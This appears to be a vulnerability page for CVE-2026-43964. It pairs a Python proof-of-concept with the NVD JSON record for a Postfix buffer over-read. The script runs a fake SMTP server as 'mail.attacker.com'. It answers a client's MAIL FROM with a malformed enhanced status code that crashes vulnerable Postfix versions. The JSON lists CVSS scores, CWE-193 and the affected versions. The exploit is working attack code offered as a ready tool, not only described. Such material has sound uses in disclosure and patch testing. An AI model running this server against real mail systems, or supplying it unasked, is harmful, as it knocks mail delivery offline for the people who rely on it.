CVE-2026-43964

import socket import sys # CVE-2026-43964 PoC (Malicious SMTP Server) # This script simulates a malicious SMTP server that responds with # an enhanced status code lacking text after the third number. # Target: Postfix < 3.8.16, 3.9 < 3.9.10, 3.10 < 3.10.9 def malicious_smtp_server(port=2525): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: server.bind(('0.0.0.0', port)) server.listen(1) print(f"[*] Listening on port {port}...") conn, addr = server.accept() print(f"[*] Connection from {addr}") # Send initial banner conn.send(b"220 mail.attacker.com ESMTP Postfix ") # Wait for EHLO conn.recv(1024) conn.send(b"250-mail.attacker.com 250-PIPELINING 250 SIZE 10240000 ") # Wait for MAIL FROM conn.recv(1024) # Send malformed response: Enhanced status code '2.0.0' followed immediately by CRLF (missing text) # This triggers the buffer over-read in vulnerable Postfix versions print("[*] Sending malformed enhanced status code...") conn.send(b"250 2.0.0 ") print("[*] Payload sent. Check target for crash.") conn.close() except Exception as e: print(f"[-] Error: {e}") finally: server.close() if __name__ == "__main__": malicious_smtp_server()

{"cve": {"id": "CVE-2026-43964", "sourceIdentifier": "[email protected]", "published": "2026-05-04T19:16:07.143", "lastModified": "2026-05-11T21:17:31.630", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Postfix before 3.8.16, 3.9 before 3.9.10, and 3.10 before 3.10.9 sometimes allows a buffer over-read and process crash via an enhanced status code that lacks text after the third number."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-193"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:postfix:postfix:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.8.16", "matchCriteriaId": "439B2155-5F30-42FD-B57A-32B7AC32E2A1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:postfix:postfix:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.9.0", "versionEndExcluding": "3.9.10", "matchCriteriaId": "4AE4398A-5217-408E-BF9B-D3A9ACC0E6C6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:postfix:postfix:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.10.0", "versionEndExcluding": "3.10.9", "matchCriteriaId": "0A9CB1E4-A91E-4EC9-9E4E-7F41679EEF13"}]}]}], "references": [{"url": "https://www.mail-archive.com/[email protected]/msg00110.html", "source": "[email protected]", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/04/30", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}